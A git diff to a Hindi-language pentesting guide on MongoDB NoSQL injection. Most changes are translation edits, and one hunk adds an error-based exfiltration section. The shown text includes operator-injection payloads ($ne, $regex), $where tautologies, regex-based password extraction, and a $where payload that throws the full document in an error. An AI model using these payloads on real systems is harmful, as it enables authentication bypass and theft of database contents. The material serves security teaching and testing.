diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index 97ca07dc1..d73f5ce47 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -6,7 +6,7 @@ PHP में आप एक Array भेज सकते हैं, भेजे गए पैरामीटर को _parameter=foo_ से _parameter\[arrName]=foo_ में बदलकर। -एक्सप्लॉइट्स **Operator** जोड़ने पर आधारित हैं: +शोषण **Operator** जोड़ने पर आधारित हैं: ```bash username[$ne]=1$password[$ne]=1 # username[$regex]=^adm$password[$ne]=1 #Check a , could be used to brute-force a parameter @@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true ```javascript query = { $where: `this.username == '${username}'` } ``` -एक हमलावर इसको इस तरह से भुनाने के लिए स्ट्रिंग्स जैसे `admin' || 'a'=='a` इनपुट कर सकता है, जिससे क्वेरी सभी दस्तावेज़ों को वापस कर देती है क्योंकि यह एक तात्त्विकता (`'a'=='a'`) के साथ शर्त को पूरा करती है। यह SQL इंजेक्शन हमलों के समान है जहाँ इनपुट जैसे `' or 1=1-- -` का उपयोग SQL क्वेरीज़ को हेरफेर करने के लिए किया जाता है। MongoDB में, इसी तरह के इंजेक्शन इनपुट जैसे `' || 1==1//`, `' || 1==1%00`, या `admin' || 'a'=='a` का उपयोग करके किए जा सकते हैं। +एक हमलावर इसे इस तरह से उपयोग कर सकता है कि वह स्ट्रिंग्स जैसे `admin' || 'a'=='a` इनपुट करे, जिससे क्वेरी सभी दस्तावेज़ों को वापस कर देगी क्योंकि यह एक तात्त्विकता (`'a'=='a'`) के साथ शर्त को पूरा करती है। यह SQL इंजेक्शन हमलों के समान है जहाँ इनपुट जैसे `' or 1=1-- -` का उपयोग SQL क्वेरियों को हेरफेर करने के लिए किया जाता है। MongoDB में, इसी तरह के इंजेक्शन इनपुट जैसे `' || 1==1//`, `' || 1==1%00`, या `admin' || 'a'=='a` का उपयोग करके किए जा सकते हैं। ``` Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a @@ -46,7 +46,7 @@ username[$ne]=toto&password[$regex]=.{1} username[$ne]=toto&password[$regex]=.{3} # True if the length equals 1,3... ``` -### Extract **data** information +### डेटा जानकारी निकालें ``` in URL (if length == 3) username[$ne]=toto&password[$regex]=a.{2} @@ -86,9 +86,9 @@ in JSON ### विभिन्न संग्रह से जानकारी प्राप्त करें -[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) का उपयोग करके एक अलग संग्रह से जानकारी प्राप्त करना संभव है। निम्नलिखित उदाहरण में, हम **`users`** नामक **अलग संग्रह** से पढ़ रहे हैं और एक वाइल्डकार्ड से मेल खाने वाले पासवर्ड के साथ **सभी प्रविष्टियों** के **परिणाम** प्राप्त कर रहे हैं। +[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) का उपयोग करके एक अलग संग्रह से जानकारी प्राप्त करना संभव है। निम्नलिखित उदाहरण में, हम **`users`** नामक **अलग संग्रह** से पढ़ रहे हैं और एक वाइल्डकार्ड से मेल खाने वाले पासवर्ड के साथ **सभी प्रविष्टियों के परिणाम** प्राप्त कर रहे हैं। -**नोट:** `$lookup` और अन्य समग्र कार्य केवल तभी उपलब्ध हैं जब `aggregate()` फ़ंक्शन का उपयोग खोज करने के लिए किया गया हो, न कि अधिक सामान्य `find()` या `findOne()` फ़ंक्शंस का। +**नोट:** `$lookup` और अन्य समेकन कार्य केवल तभी उपलब्ध हैं जब `aggregate()` फ़ंक्शन का उपयोग खोज करने के लिए किया गया हो, न कि अधिक सामान्य `find()` या `findOne()` फ़ंक्शंस का। ```json [ { @@ -108,6 +108,12 @@ in JSON } ] ``` +### Error-Based Injection + +`throw new Error(JSON.stringify(this))` को `$where` क्लॉज में इंजेक्ट करें ताकि सर्वर-साइड जावास्क्रिप्ट त्रुटियों के माध्यम से पूर्ण दस्तावेज़ों को एक्सफिल्ट्रेट किया जा सके (इसके लिए एप्लिकेशन को डेटाबेस त्रुटियों को लीक करना आवश्यक है)। उदाहरण: +```json +{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" } +``` ## MongoDB Payloads सूची [यहां से](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) @@ -229,5 +235,6 @@ get_password(u) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) +- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/) {{#include ../banners/hacktricks-training.md}}